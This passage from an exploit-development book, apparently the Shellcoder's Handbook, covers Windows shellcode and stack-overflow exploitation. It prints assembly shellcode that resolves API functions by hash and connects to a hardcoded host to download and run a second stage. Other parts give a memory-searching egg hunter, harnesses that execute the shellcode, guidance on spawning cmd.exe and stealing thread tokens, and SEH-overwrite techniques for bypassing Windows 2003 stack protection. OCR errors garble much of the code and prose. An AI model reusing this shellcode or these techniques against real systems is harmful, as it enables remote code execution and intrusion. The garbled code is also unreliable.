//24 4 Number of Name pointers  (also the number of ordinals) 
//28 4 Export Address Table RVA  Address EAT relative to base 
//32 4 Name Pointer Table RVA  Addresses (RVA’s) of Names! 
//36 4 Ordinal Table RVA  You need the ordinals to get  
      The addresses 
 
//theoretically we need to subtract the ordinal base, but it turns  
//out they don’t actually use it 
//movl 16(%ebx),%edi 
//edi is now the ordinal base! 
movl 28(%ebx), %ecx 
//ecx is now the address table 
movl 32(%ebx), %edx 
//edx is the name pointer table 
movl 36(%ebx), %ebx 
//ebx is the ordinal table 
 
//eax is now the base address again 
//correct those RVA’s into actual addresses 
addl %eax, %ecx 
addl %eax, %edx 
addl %eax, %ebx 
 
 
////HERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF 
find_procdure: 
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//for each pointer in the name pointer table, match against our hash 
//if the hash matches, then we go into the address table and get the 
//address using the ordinal table 
movl (%edx), %esi 
pop %eax 
pushl %eax 
addl %eax, %esi 
//push the hash increment – we are ascii 
pushl $1 
//push the function hash 
pushl 12(%ebp) 
//esi has the address of our actual string 
pushl %esi 
call hashit 
test %eax, %eax 
jz found_procedure 
//increment our pointer into the name table 
add $4, %edx 
//increment out pointer into the ordinal table 
//ordinals are only 16 bits 
add $2, %ebx 
jmp find_procedure 
 
 
found_procedure: 
//set eax to the base address again 
pop %eax 
xor %edx, %edx 
//get the ordinal into dx 
//ordinal=ExportOrdinalTable[i] (pointed to by ebx) 
mov (%ebx), %dx 
//SymbolRVA = ExportAddressTable[ordinal-OrddnalBase] 
//see note above for lack of ordinal base use 
//subtract ordinal base 
//sub %edi, %edx 
//multiply that by sizeof(dword) 
shl $2, %edx 
//add that to the export address table (dereference in above .c statement) 
//to get the RVA of the actual address 
add %edx, %ecx 
//now add that to the base and we get our actual address 
add (%ecs), %eax 
//done eax has the address! 
 
popl %ecx 
popl %edi 
popl %esi 
popl %ebx 
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mov %ebp, %esp 
pop %ebp 
ret $8 
 

The following is our hash function. It hashes a string simply, ignoring case. 
 
//hashit function 
//takes 3 args 
//increment for unicode/ascii 
//hash to test against 
//address of string 
hashit: 
pushl %ebp 
movl %esp, %ebp 
 
push %ecx 
push %ebx 
push %edx 
 
xor %ecx, %ecx 
xor %ebx, %ebx 
xor %edx, %edx 
 
mov 8(%ebp), %eax 
hashloop: 
movb (%eax), %dl 
//convert char to upper case 
or $0x60, %dl 
add %edx, %ebx 
shl $1, %ebx 
//add increment to the pointer 
//2 for unicode, 1 for ascii 
addl 16(%ebp), %eax 
mov (%eax), %cl 
test %cl, %cl 
loopnz hashloop 
xor %eax, %eax 
mov 12(%ebp), %ecx 
cmp %ecx, %ebx 
jz donehash 
//failed to match, set eax==1 
inc %eax 
donehash: 
pop %edx 
pop %ebx 
pop %ecx 
mov %ebp, %esp 
pop %ebp 
ret $12 
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Here is a hashing program in C, used in generating the hashes that the 
above shellcode can use. Every shellcode that uses this method will use a 
different hash function. Almost any hash function will work; we chose one 
here that was small and easy to write in assembly language. 

 
#include <stdio.h> 
 
main(int argc, char **argv) 
{ 
 char *pl 
 signed int hash; 
 
 if (argc<2) 
 { 
  printf(“Usage: hash.exe kernel32.dll\n”); 
  exit(0); 
 } 
 
p=argv[1]; 
 
hash=0; 
while (*p!=0) 
{ 
 //toupper the character 
 hash=hash + (*(unsigned char * )p | 0x60); 
 p++; 
 hash=hash << 1; 
} 
printf(“Hash: 0x%8.8x\n”,hash); 
} 
 
If we need to call ExitThread() or ExitProcess(), then we replace the 

following crash function with some other function. However, it usually suffices 
to use the following instructions: 

 
exitthread: 
//just cause an exception 
xor %eax, %eax 
call *%eax 
 
Now, we begin our data. To use this code, you replace the stored 

sockaddr with another you’ve computed that will go to the correct host and 
port. 

 
SockAddrSPOT: 
//first 2 bytes are the PORT (then AF_INET is 0002) 
.long 0x44440002 
//server ip 651a8c0 is 192.168.1.101 
.long 0x6501a8c0 
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KERNEL32HASHESTABLE: 
.long GETSYSTEMDIRECTORYAHASH 
.long VIRTUALPROTECTHASH 
.long GETPROCADDRESSHASH 
.long LOADLIBRARYAHASH 
 
MSVCRTHASHESTABLE: 
.long FREEHASH 
 
ADVAPI32HASHESTABLE: 
.long REVERTTOSELFHASH 
 
WS232HASHETABLE: 
.long CONNECTHASH 
.long RECVHASH 
.long SENDHASH 
.long WSASTARTUPHASH 
.long SOCKETHASH 
 
WS2_32DLL: 
.ascii \”ws2_32.dll\” 
.long 0x00000000 
 
endsploit: 
//nothing below this line is actually included in the shellcode, but it 
//is used for scratch space when the exploit is running. 
 
MSVCRTFUNCTIONSTABLE: 
FREE: 
  .long 0x00000000 
 
  KERNEL32FUNCTIONSTABLE: 
VIRTUALPROTECT: 
  .long 0x00000000 
GETPROCADDRA: 
  .long 0x00000000 
LOADLIBRARY: 
  .long 0x00000000 
//end of kernel32.dll functions table 
 
//this stores the address of buf+8 mod 8, since we 
//are not guaranteed to be on a word boundary, and we  
//want to be so Win32 api works 
BUFADDR: 
  .long 0x00000000 
 
 
  WF232FUNTIONSTABLE: 
CONNECT: 
  .long 0x00000000 
RECV: 
  .long 0x00000000 
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Send: 
  .long 0x00000000 
WSATARTUP: 
  .long 0x00000000 
SOCKET: 
  .long 0x00000000 
//end of ws2_32.dll functions table 
 
SIZE: 
  .long 0x00000000 
 
FDSPOT: 
  .long 0x00000000 
BUF: 
  .long 0x00000000 
 
  “); 
 
} 
 
Our main routine prints out the shellcode when we need it to, or calls it 

for testing. 
 
int 
main() 
{ 
  unsigned char buffer[4000]; 
  unsigned char *p; 
  int i; 
  char *mbuf, *mubf2; 
  int error=0; 

//getprocaddr(); 
memcpy(buffer, getprocaddr, 2400); 
p=buffer; 
p+=3; /*skip prelude of function*/ 

 //#define DOPRINT 
 #ifdef DOPRINT 
  /*gdb ) printf “%d\n”, endsploit – mainentrypoint -1 */ 
  printf(“\””); 
  for (i=0; i<666;i++); 
  { 
   printf(“\\x%2.2x”, *p); 
   if ((i+1)%8==0) 
     printf(“\”\nshellcode+=\””); 
   p++; 
  } 
  printf(“\”\n”); 
 #endif 
 
 #define DOCALL 
 #ifdef DOCALL 
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  ((void(*)())(p))  ( ); 
 #endif 
 
 
 } 
 
 

Searching with Windows Exception Handling 
 
You can easily see that the shellcode in the previous section is much larger 
than we’d like it to be. To fix this problem, we write another shellcode that 
goes through memory and finds the first shellcode. The order of execution is 
as follows: 

1. Vulnerable program executes normally. 

2. The search shellcode will be inserted. 

3. Stage 1 shellcode is executed. 

4. Downloaded arbitrary shellcode will be exected. 

The search shellcode will be extremely small—for Windows shellcode, 
that is. Its final size should be under 150bytes, once you’ve encoded it and 
prepended your decoder, and should fit almost anywhere. If you need even 
smaller shellcode, make your shellcode service-pack dependent, and 
hardcode the addresses of functions. 

To use this shellcode, you need to append an 8-byte tag to the end, and 
prepend that same 8-byte tag with the words swapped around to the 
beginning of your main shellcode, which can be anywhere else in memory. 

 
#include <stdio.h> 
/* 
 * Released under the GPL V 2.0 
 * Copyright Immnuity, Inc. 2002-2003 
 * 
 
Works under SE handling. 
 
Put location of structure in fs:0 
Put structure on stack 
When called you can pop 4 arguments from the stack 
_except_handler( 
 struct _EXCEPTION_RECORD *ExceptionRecord, 
 void * EstablisherFrame, 
 struct _CONTEXT *ContextRecord, 
 void * DispatcherContext ); 
 
typedef struct _CONTEXT 
{ 
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 DWIRD ContextFlags; 
 DWORD   Dr0; 

DWORD    Dr1; 
DWORD    Dr2; 
DWORD    Dr3; 
DWORD    Dr6; 
DWORD    Dr7; 

 FLOATING_SAVE_AREA FloatSave; 
 DWORD   SegGs; 

DWORD   SegGs; 
DWORD   SegGs; 
DWORD   SegGs; 

 DWORD   Edi; 
 DWORD   Esi; 
 DWORD   Ebx; 
 DWORD   Edx; 
 DWORD   Ecx; 
 DWORD   Eax; 
 DWORD   Ebp; 
 DWORD   Eip; 
 DWORD   SegCs; 
 DWORD   EFlags; 
 DWORD   Esp; 
 DWORD   SegSs; 
} CONTEXT; 
 
Return 0 to continue execution where the exception occurred. 
 
NOTE We searched for TAG1 and TAG2 in reverse order so we 
don’t match on ourselves, which would ruin our shellcode. 
 
Also, it is important to note that the exception handler structure (-1, 

address)must be on the current thread’s stack. If you have changed ESP you 
will have to fix the current thread’s stack in the thread information block to 
reflect that. Additionally, you must deal with some nasty alignment issues as 
well. These factors combine to make this shellcode larger than we would like. 
A better strategy is to set the PEB lock to RtlEnterCriticleSection, as follows: 

 
 k=0x744df020; 
 *(int *)k=RtlEnterCriticalSectionadd; 

 
   *  */ 
   
  #define DOPRINT 
  //#define DORUN 
  void 

shellcode() 
  { 
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 /*GLOBAL DEFINES*/ 
 asm(“ 
 
 .set KERNEL32HASH,  0x000d4e88 
 
 “); 
 
 /*START OF SHELLCODE*/ 
 asm(“ 
 
 mainentrypoint: 
 //time to fill our function pointer table 
 sub $0x50, %esp 
 call geteip 
 geteip: 
 pop %ebx 
 //ebx now has our base! 
 //remove any chance of esp being below us, and thereby 
 //having WSASocket or other functions use us as their stack 
 //which sucks 
 movl %ebx, %esp 
 subl $0x1000, %esp 
 //esp must be aligned for win32 functions to not crash 
 and $0xffffff00, %esp 
 
 takeexceptionhandler: 
 //this code gets control of the exception handler 
 //load the address of our exception registration block into fs:0 
 lea exceptionhandler-geteip(%ebx), %eax 
 
 //push the address of our exception handler 
 push %eax 
 //we are the last handler, so we push -1 
 push $-1 
 //move it all into place… 
 mov %esp, %fs(0) 
 

 //Now we have to adjust our thread information block to reflect we may be 
anywhere in memory 

 //As of Windows XP SP1, you cannot have your exception handler itself on 
 //the stack – but most versions of windows check to make sure your 
 //exception block is on the stack. 
 addl $0xc, %esp 
 movl %esp, %fs:(4) 
 subl $0xc, %esp 
 //now we fix the bottom of thread stack to be right after our SEH block 
 movl %esp, %fs:(8) 
 
 
 “); 
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//search loop 
 asm(“ 
startloop: 
xor %esi, %esi 
mov TAG1-geteip(%ebx), %edx 
mov TAG2-geteip(%ebx), %ecx 
 
 
memcmp: 
//may fault and call our exception handler 
mov (%esi), %eax 
cmp %eax, %ecx 
jne addaddr 
mov 4(%esi), %eax 
cmp %eax, %edx 
jne addaddr 
jmp foundtags 
 
addaddr; 
inc %esi 
jmp memcmp 
 
fountags: 
lea 8(%esi), %eax 
xor %esi, %esi 
//clear the exception handler so we don’t worry about that on exit 
mov %esi, %fs:(0) 
call *%eax 
*); 
 
asm(“ 
//handles the exceptions as we walk through memory 
exceptionhandler: 
//int $3 
mov 0xc(%esp), %eax 
//get saved ESI from exception frame into %eax 
add $0xa0, %eax 
mov (%eax), %edi 
//add 0x1000 to saved ESI and store it back 
add $0x1000, %edi 
mov %edi, (%eax) 
xor %eax, %eax 
ret 
 
“); 
 
asm(“ 
     endsploit; 
//these tags mark the start of our real shellcode 
TAGS: 
TAG1: 
.long 0x41424344 
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TAG2: 
.long 0x45464748 
 
CURRENTPLACE: 
 //where we are currently looking 
.long 0x00000000 
“); 
} 
 
 
 
int 
main() 
{ 
   unsigned char buffer[4000]; 
   unsigned char *p; 
   int i; 
   unsigned char stage2[500]; 
//setup stage2 for testing 
   strcpy(stage2, “HGFE”); 
   strcat(stage2, “DCBA\xcc\xcc\xcc”): 
 
   //getprocaddr(); 
   memcpy(buffer, shellcode,2400); 
   p=buffer; 
#ifdef WIN32 
   P+=3; /*skip prelude of function*/ 
#endif 
 
 
 
#ifdef DOPRINT 
#define SIZE 127 
   printf(“#Size in bytes: %d\n”, SIZE); 
   /*gdb ) printf “%d\n”, endsploit – mainentrypoint -1 */ 
   printf(“Searchshellcode+=\””); 
   for (i=0; i<SIZE; i++) 
   { 
    printf(“\\x%2.2x”,*p); 
    if ((i+1)%8==0) 
      printf(“\”\nsearchshellcode+=\””); 
    p++; 
   } 
   printf(“\”\n”); 
#endif 
 #ifdef DORUN 
   ((void(*) () ) (p) )  ( ); 
#endif 
 
 
} 
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Popping a shell 
 
There are two ways to get a shell from a socket in Windows. In Unix, you would use 
dup2() to duplicate the file handles for standard in and standard out, and then 
exceve(“/bin/sh”). In Windows, life gets complicated. You can use your socket as input 
for CreateProcess(“cmd.exe”) if you use WSASocket() to create it instead of socket(). 
However, if you stole a socket from the process or didn’t use WSASocket() to create 
your socket, you need to do some complex maneuvering with anonymous pipes to 
shuffle data back and forth. You may be tempted to use popen(), except it doesn’t 
actually work in Win32, and you’ll be forced to reimplement it. Remember a few key 
facts: 

1. CreateProcessA needs to be called with inheritance set to 1.Otherwise when you 
pass your pipes into cmd.exe as standard input and standard output they won’t be 
readable by the spawned process. 

2. You have to close the writeable standard output pipe in the parent process or the 
pipe blocks on any read. You do this after you call CreateProcessA but before you 
call ReadFile to read the results. 

3. Don’t forge to use DuplicateHandle() to make non-inheritable copies of your pipe 
handles for writing to standard input and reading from standard output. You’ll 
need to close the inheritable handles so they don’t get inherited into cmd.exe. 

4. If you want to find cmd.exe, use GetEnvironmentVariable (“COMSPEC”); 
5. You’ll want to set SW_HIDE in CreateProcessA so that little windows don’t pop 

up every time you run a command. You also need to set the 
STARTF_USESTDHANDLES and STARTF_USESSHOWWINDOW flags. 

 
With this in mind, you’ll find it easy to write your own popen()—one that actually 
works. 
 
Why You Should Never Pop a Shell on Windows 
 
Windows inheritance is the one concept a Unix coder has trouble getting used to. In fact, 
most Windows programmers have no idea how Windows inheritance works, including 
those at Microsoft itself. Windows inheritance and access tokens can make an exploit 
developer’s life difficult in many ways. Once you’re in cmd.exe, you’ve given up the 
ability to transfer files effectively, which a custom shellcode could have made easy. In 
addition, you’ve given up access to the entire Win32 API, which offers much more 
functionality than the default Win32 shell. You have also given up your curren thread’s  
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token and replaced it with the primary token of the process. In some cases, 
the primary token will be LOCAL/SYSTEM; in other cases, IWSM or IUSR or 
some other low-privileged user. 

This quirk can stymie you, especially when you use your shellcode to 
transfer a file to the remote host and then execute it. You will realize that the 
spawned process may not have the ability to read its own executable—it may 
be running as an entirely different user than what you expected. So, stay in 
your original process and write a server that lets you have access to all the 
API calls you’ll need. That way you man be able to plunder the thread tokens 
of other users, for example, and write and read to files as those users. And 
who knows what other resources may be available to the current process that 
are marked non-inheritable? 

If you do ever want to spawn a process as the user you’re impersonating, 
you will have to brave CreateProcessAsUser() and use Windows privileges, 
primary tokens, and other silly Win32 tricks. Use the tools on Sysinternals 
(www.sysinternals.com), especially the process explorer, to analyze token 
issues. Token idiosyncrasies are invariably the answer to the question: “Why 
doesn’t my Windows shellcode work the way I’d expected it to?” 

 
 

Conclusion 
 
In this chapter, we worked through how to perform basic, intermediate, and 
advanced heap overflows. Heap overflows are much more difficult than 
stackbased overflows, and require a detailed knowledge of system internals 
in order to orchestrate them correctly. Do not get frustrated if you don’t 
succeed at your first attempt: hacking is a trial-and-error process. 

If you are interested in advancing the art of Windows shellcode, we 
recommend that you either send a DLL across the wire and link it into a 
running process (without writing it to the disk, of course), or dynamically 
create shellcode and inject it into a running process, linking it with whatever 
function pointers are necessary. 
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CHAPTER 8 

                    
Windows  Overflows 

If you're reading this chapter, we assume that you have at least a 
basic under-standing of the Windows NT or later operatingsystem, and 
that you know how to exploit buffer overflows on this platform. 
This-chapterdeals withmore advanced aspects of Windows overflows, 
such as defeating the stack-based protection built into Windows 2003 
Server, an in-depth look at heap overflows, and so on. You should 
already be familiar with key Windows con-cepts such as the Thread 
Environment Block (TEB), the Process Environment Block (PEB), and 
such things as process memory layout, image files, and the PE header. 
If you are not familiar with these concepts, I recommend looking at and 
understanding them before embarking upon this chapter. We provide a 
number of resources on the Shellcoder's Handbook Web site 
(www.wiley.com/compbooks/koziol) to help you. 

 

The tools used in this chapter come with Microsoft's Visual Studio 6, 
partic-ularly MSDEV for debugging, the command line compiler (cl), 
and dumpbin. dumpbin is a great tool for working from a command 
shell—it can dump all sorts of useful information about a binary, 
imports and exports, section infor-mation, disassembly of the 
code—you name it, dumpbin can probably do it. For those who are 
more comfortable working with a GUI, Datarescue's IDA Pro is a great 
disassembly tool. Most might prefer to use Intel syntax, while others 
may prefer to use AT&T syntax. You should use what you feel most 
comfortable with. 
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Stack-Based Buffer Overflows      

Ah! The classic stack-based buffer overflow. They've been around for eons 
(in computer time anyway), and they'll be around for years to come. Every 
time a stack-based Duffer overflow is discovered in modem software, it's hard 
to know whether to laugh or cry—either way, they're the staple diet of the 
aver-age bug hunter or exploit writer. Many documents on how to exploit 
stack-based buffer overruns exist freely on the Internet and are included in 
earlier chapters in this book, so we won't repeat this information here. 

A typical stack-based overflow exploit will overwrite the saved return 
address with an address that points to an instruction or block of code that will 
return the process's path of execution into the user-supplied buffer. We'll 
explore this concept further, but first we'll take a quick look at frame-based 
exception handlers. Then we'll look at overwriting exception registration 
structures stored on the stack and see how this lends itself to defeating the 
stack protection built into Windows 2003 Server. 

Frame-Based Exception Handlers 
An exception handler is a piece of code that deals with problems that arise 

when something goes wrong within a running process, such as an access 
violation or divide by 0 error. With frame-based exception handlers, the 
exception han-dler is associated with a particular procedure, and each 
procedure sets up a new stack frame. Information about a frame-based 
exception handler is stoied in an EXCEPTION_REGISTRATION structure on 
the stack. This structure has two elements: the first is a pointer to the next 
EXCEPTION_REGISTRATION structure, and the second is a pointer to the 
actual exception handler. In this way, frame-based exception handlers are 
"connected" to each other as a linked list, as shown in Figure 8.1. 

Every thread in a Win32 process has at least one frame-based exception 
han-dler that is created on thread startup. The address of the first 
EXCEPTION. REGISTRATION structure can be found in each thread's 
Environment Block, at FS: [0] in assembly. When an exception occurs, this list 
is walked through until a suitable handler (one that can successfully dispatch 
with the exception) is found. Stack-based exception handling is set up using 
the try and except keywords under C. Remember, you can get most of the 
code contained in this book from the Shellcoder's Handbook Web site 
(www.wiley.com/compbooks/ koziol), if you do not feel like copying it all down. 

#include <stdio.h>  

#include <windows.h> 

 

dword MyExceptionHandler(void) 
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{ printf("In exception handler...."); 
ExitProcess(l); 
 return 0; 

} 

int main() 
{ 

try 
{ 

_asm 

{ 
// Cause an exception 

xor eax,eax  
call eax 

} 
 

} 

 except(MyExceptionHandler()) 

{ 

printf("oops..."); 

} 

Return 0; } 

 

|STACK   | 

Pointer to Next E_R Struct  
Pointer to Exception Handler 

Pointer to Next E_R Struct  

Pointer to ExceptionHandler 

Pointer to Next E_R Struct 
Pointer to Exception Handler 

Figure 8.1.   Frame exception handlers in action 
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Here we use try to execute a block of code, and in the event of an exception 
occurring, we direct the process to execute the MyExceptionHandler func-tion. 
When EAX is set to 0x0 0000000 and then called, an exception will occur and 
the handler will be executed. 

When overflowing a stack-based buffer, as well as overwriting the saved 
return address, many other variables may be overwritten as well, which can 
lead to complications when attempting to exploit the overrun. For example, 
assume that within a function a structure is referenced and that the EAX 
regis-ter points to the beginning of the structure. Then assume a variable 
within the function is an offset into this structure and is overwritten on the way 
to over-writing the saved return address. If this variable was moved into ESI, 
and an instruction such as 

mov dword ptr[eax+esi], edx 

is executed, then because we can't have a NULL in the overflow, we need to 
ensure that when we overflow this variable, we overflow t with a value such 
that EAX+ESI is writable. Otherwise our process will access violate—we want 
to avoid this because if it does access violate then the exception handler(s) 
will be executed and more than likely the thread or process will be terminated, 
and we lose the chance to run our arbitrary code. Now, even if we fix this 
problem so that EAX + ESI is writable, we could have many other similar 
problems we'll need to fix before the vulnerable function returns. In some 
cases this fix may not even be possible. Currently, the method used to get 
around the prob-lem is to overwrite the frame-based 
EXCEPTION_REGISTRATION structure so that we control the pointer to the 
exception handler. When the access violation occurs we gain control of the 
process' path of execution: we can set the address of the handler to a block of 
code that will get us back into our buffer. 

In such a situation, with what do we overwrite the pointer to the handler so 
that we can execute any code we put into the buffer? The answer depends on 
the platform and service-pack level. On systems such as Windows 2000 and 
Windows XP without service packs, the EBX register points to the current 
EXCEPTION_REGISTRATION structure; that is, the one we've just 
overwrit-ten. So, we would overwrite the pointer to the real exception handler 
with an address that executes a jmp ebx or call ebx instruction. This way, 
when the "handler" is executed we land in the EXCEPTION_REGISTRATION 
structure we've just overwritten. We then need to set what would be the 
pointer to the next EXCEPTION_REGISTRATION structure to code that does 
a short jmp over the address of where we found our jmp ebx instruction. When 
we over-write the EXCEPTION_REGISTRATION structure then we would do 
so as depicted in Figure 8.2. 
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:::                                EBX points here  
 

Short JMP over  
(and NOP，NOP) 

Pointer to address dfjkd 
Executes “jmp ebx 

Start of real code  

::: 

Figure 8.2. overfd the  EXECEPTION_REGISTRATION structure 

 

With Windows 2003 server and windows XP service Pack 1 or higher, 
however, this has changed. EBX no longer points to our EXECEPTION_ 
REGISTRATION structure. In fact, all registers that used to point somewhere 
useful are XORed with themselves so they’re all set to 0x00000000 before the 
handler is called. Microsoft probably made these changes becaue the Code 
Red worn used this mechanism to gain control of IIS Web servers. Here is the 
code that actually does this from Windows XPProfessional SP1) 

 
77F79B57  xor   eax,eax 
77F79B59  xor   eax,eax 
77F79B5B  xor   esi, esi 
77F79B5D  xor   edi, edi 
77F79B5F  push   dword ptr[esp+20h] 
77F79B63  push   dword ptr[esp+20h] 
77F79B67  push   dword ptr[esp+20h] 
77F79B6B  push   dword ptr[esp+20h] 
77F79B6F  push   dword ptr[esp+20h] 
77F79B73  call   77F79B7E 
77F79B78  pop   edi 
77F79B79  pop   esi 
77F79B7A  pop   ebx 
77F79B7B         ret   14h 
77F79B7E  push   ebp 
77F79B7F  mov   ebp,esp 
77F79B81  push   dword ptr[esp+0Ch] 
77F79B84  push   edx 
77F79B85  push   dword ptr fs:[0] 
77F79B8C  mov   dword ptr fs:[0],esp 
77F79B93  push   dword ptr [ebp+14h] 
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77F79B96 push dword ptr [ebp+l0h] 

77F79B99 push dword ptr [ebp+0Ch] 

77F79B9C push dword ptr [ebp+8] 

77F79B9F mov ecx,dword ptr [ebp+18h] 

77F79BA2 call ecx 

Starting at address 0x77F79B57, the EAX, EBX, ESI, and EDI registers are 
set to 0 by XORing each register with itself. The next thing of note is the call 
instruction at 0x77F79B73; execution continues at address 0x77F79B7E. At 
address 0x77F79B9F the pointer to the exception handler is placed into the 
ECX register and then it is called. 

Even with this change, an attacker can of course still gain control—but 
with-out any register pointing to the user-supplied data anymore the attacker 
is forced to guess where it can be found. This reduces the chances of the 
exploit working successfully. 

But is this really the case? If we examine the stack at the moment after the 
exception handler is called then we can see that: 

 

ESP   =   Saved Return Address   (0x77F79BA4) 

ESP  +4    = Pointer to type of exception(0xC0000005) 

ESP  +8 = Address  of  EXCEPTION_REGISTRATION structure 

Instead of overwriting the pointer to the exception handler with an address 
that contains a jmp ebx or cal 1 ebx, all we need to do is overwrite with an 
address that points to a block of code that executes the following: 

 

pop reg pop reg ret 

With each POP instruction the ESP increases by 4, and so when the RET 
exe-cutes, ESP points to the user-supplied data. Remember that RET takes 
the address at the top of the stack (ESP) and returns the flow of execution 
there. Thus the attacker does not need any register to point to the buffer and 
does not need to guess its location. 

Where can we find such a block of instructions? Well pretty much any-where, 
at the end of every function. As the function tidies up after itself, we will find 
the block of instructions we need. Ironically, one of the best locations in which 
to find this block of instructions is in the code that clears all the reg-isters at 
address 0x77F79B79. 

 

77F79B79 pop       esi  

77F79B7A pop       ebx 

77F79B7B  ret       14h 
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The fact that the return is actually a ret 14 makes no difference. This sim-ply 
adjusts the ESP register by adding 0x14 as opposed to 0x4. These 
instruc-tions bring us back to our EXCEPTION_REGISTRATION structure on 
the stack. Again, the pointer to the next EXCEPTION_REGISTRATION 
structure will need to be set to code that executes a short jump and two NOPs, 
neatly side stepping the address we've set that points to the pop, pop, ret 
block. 

Ever)' Win32 process and each thread within that process is given at least 
one frame-based handler, either at process or thread startup. So when it 
comes to exploiting buffer overflows on Windows 2003 Server, abusing 
frame-based handlers is one of the methods that can be used to defeat the 
new stack pro-tection built into processes running on this platform. 

Abusing Frame-Based Exception Handling on Windows 2003 Server 

Abusing frame-based exception handling can be used as a generic method 
for bypassing the stack protection of Windows 2003. (See the section "Stack 
Pro-tection and Windows 2003 Server" for more discussion on this). When an 
exception occurs under Windows 2003 Server, the handler set up to deal with 
the exception is first checked to see whether it is valid. In this way Microsoft 
attempts to prevent exploitation of stack-based buffer overflow vulnerabilities 
where frame-based handler information is overwritten; it is hoped that an 
attacker can no longer overwrite the pointer to the exception handler and have 
it called. 

So what determines whether a handler is valid? The code of NTDLL. DLL's 
KiUserExceptionDispatcher function does the actual checking. First, the code 
checks to see whether the pointer to the handler points to an address on the 
stack. This is done by referencing the. Thread Environment Block's entry for 
the high and low stack addresses at FS : [4]and FS : [ 8 ]. If the handler falls 
within this range it will not be called. Thus, an attacker can no longer point the 
exception handler directly into their stack-based buffer. If the pointer to the 
handler is not equal to a stack address, the pointer is then checked against 
the list of loaded modules, including both the executable image and DLLs, to 
see whether it falls within the address range of one of these modules. If it 
does not, then somewhat bizarrely, the exception handler is considered safe 
and is called. If, however, the address does fall into the address range of a 
loaded module, it is then checked against a list of registered handlers. 

A pointer to the image's PE header is then acquired by calling the Rtl Image 
NtHeader function. At this point a check is performed; if the byte 0x5F past the 
PF header—the most significant byte of the DLL Characteristics field of the 
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PE header—is 0x04, then this module is "not allowed." If the handler is in the 
address range of this module, it will not be called. The pointer to the PE 
header is then passed as a parameter to the RtlImageDirectoryEntryToData 
function. In this case, the directory of interest is the Load Configuration 
Direc-tory. The RtllmageDirectoryEntryToData function returns the address 
and size of this directory. If a module has no Load Configuration Directory, 
then this function returns 0, no further checks are performed, and the handler 
is called. If, on the other hand, the module does have a Load Configuration 
Directory, the size is examined; if the size of this directory is 0 or less than 
0x48, no further checking is performed and the handler is called. Offset 0x40 
bytes from the beginning of the Load Configuration Directory is a pointer that 
points to a table of Relative Virtual Addresses (RVAs) of registered handlers. 
If this pointer is NULL, no further checks are performed and the handler is 
called. Offset 0x44 bytes from the beginning of the Load Configuration 
Directory is the number of entries in this table. If the number of entries is 0, no 
further checks are performed and the handler is called. Providing that all 
checks have succeeded, the base address of the load module is subtracted 
from the address of the handler, which leaves us with the RVA of the handler. 
This RVA is then compared against the list of RVAs in the table of registered 
handlers. If a match is found, the handler is called; if it is not found, the 
handler is not called. 

When it comes to exploiting stack-based buffer overflows on Windows 2003 
Server, overwriting the pointer to the exception handler leaves us with several 
options: 

Abuse an existing handler that we can manipulate to get us back into 
our buffer. 

Find a block of code in an address not associated with a module that 
will get us back to our buffer. 

Find a block of code in the address space cf a module that does not 
have a Load Configuration Directory. 

Using the DCOM IRemoteActivation buffer overflow vulnerability, let's look at 
these options. 

Abusing an Existing Handler 

Address 0x77F45A34 points to a registered exception handler within NTDLL. 
DLL. If we examine the code of this handler, we can see that this han-dler can 
be abused to run code of our choosing. A pointer to our EXCEPTION_ 
REGISTRATION structure is located at EBP+OCh. 

77F45A3F  mov ebx.dword ptr [ebp+0Ch] 

 

.... 
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77F45A61       mov esi,dword ptr   [ebx+0ch]  

77F15A64       mov edi,dword ptr   [ebx+8] 

...... 

77F45A75        lea  ecx,[esi+esi*2] 

77F45A78        mov eax, dword ptr [edi +ecx*4+4] 

...... 

77F45ABF       call  eax 
 

The pointer to our EXCEPTION_REGISTRATION structure is moved into 
EBX. The dword value pointed to OxOC bytes past EBX is then moved into 
ESI. Because we've overflowed the EXCEPTION_REGI STRATION structure 
and beyond it, we control this dword. Consequently, we "own" ESI. Next, the 
dword value pointed to 0x08 bytes past EBX is moved into EDI. Again, we 
control this. The effective address of ESI + ESI * 2 (equivalent to ESI * 3) is 
then loaded into ECX, Because we own ESI we can guarantee the value that 
goes into ECX. Then the address pointed to by EDI, which we also own, 
added to ECX* 4 + 4, is moved into eax. EAX is then called. Because we 
completely control what goes into EDI and ECX (through ESI) we can control 
what is moved into EAX, and therefore can direct the process to execute our 
code. The only difficulty is finding an address that holds a pointer to our code. 
We need to ensure that EDI+ECX*4 + 4 matches this address so that the 
pointer to our code is moved into EAX and then called. 

The first time svchost is exploited, the location of the Thread Environment 
Block (TEB) and the location of the stack are always consistent. Needless to 
say, with a busy server, neither of these may be so predictable. Assuming 
sta-bility, we could find a pointer to our EXCEPTION_REGISTRATION 
structure at TEB+0 (0x7FFDB000) and use this as our location where we can 
find a pointer to our code. But, as it happens, just before the exception handler 
is called, this pointer is updated and changed, so we cannot use this method. 
The EXCEPTION_REGISTRATION structure that TEB+0 does point to, 
however, at address 0x005CF3F0,hasa pointer to our 
EXCEPTION_REGISTRATION struc-ture, and because the location of the 
stack is always consistent the first time the exploit is run, then we can use this. 
There's another pointer to our EXCEPTION_ REGISTRATION structure at 
address 0x005CF3E4. Assuming we'll use this latter address if we set 0x0c 
past our EXCEPTION_REGISTRATION structure to 0x40001554 (this will go 
into ESI) and 0x08 bytes past it to 0x005BF3F0 (this will go into edi), then 
after all the multiplication and addition we're left with 0x005CF3E4. The 
address pointed to by this is moved into EAX and called. On EAX being called 
we land in our EXCEPTION_REGISTRATION struc-ture at what would be the 
pointer to the next EXCEPTION_REGISTRATION structure. It we put code in 
here that performs a short jmp 14 bytes from the 
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current location then we jump over the junk we've needed to set to get 

execu-tion to this point. 

We've tested this on four machines running Windows 2003 Server, three of 
which were Enterprise Edition and the fourth a Standard Edition. All were 
successfully exploited. We do need to be certain, however, that we are 
running the exploit for the first time—otherwise it's more than likely to fail. As a 
side note, this exception handler is probably supposed to deal with Vectored 
handlers and not frame-based handlers, which is why we can abuse it in this 
fashion. 

Some of the other modules have the same exception handler and can also 
beused. Other registered exception handlers in the address space typically 
for-ward to except_handler3 exported by msvcrt.dll or some otherequivalent. 

Find a block of code in an address not associated with a module that 
will get us back to our buffer 

As with other versions of Windows, at ESP + 8 we can find a pointer to our 
EXCEPTION_REGISTRATION structure. So, if we could find a 

pop reg pop reg ret 

instruction block at an address that is not associated with any loaded 
module, this would do fine. In every process, at address 0x7FFC0AC5 on a 
computer running Windows 2003 Server Enterprise Edition, we can find such 
an instruc-tion block. Because this address is not associated with any module, 
this "han-dler" would be considered safe to call under the current security 
checking and would be executed. There is a problem, however. Although I 
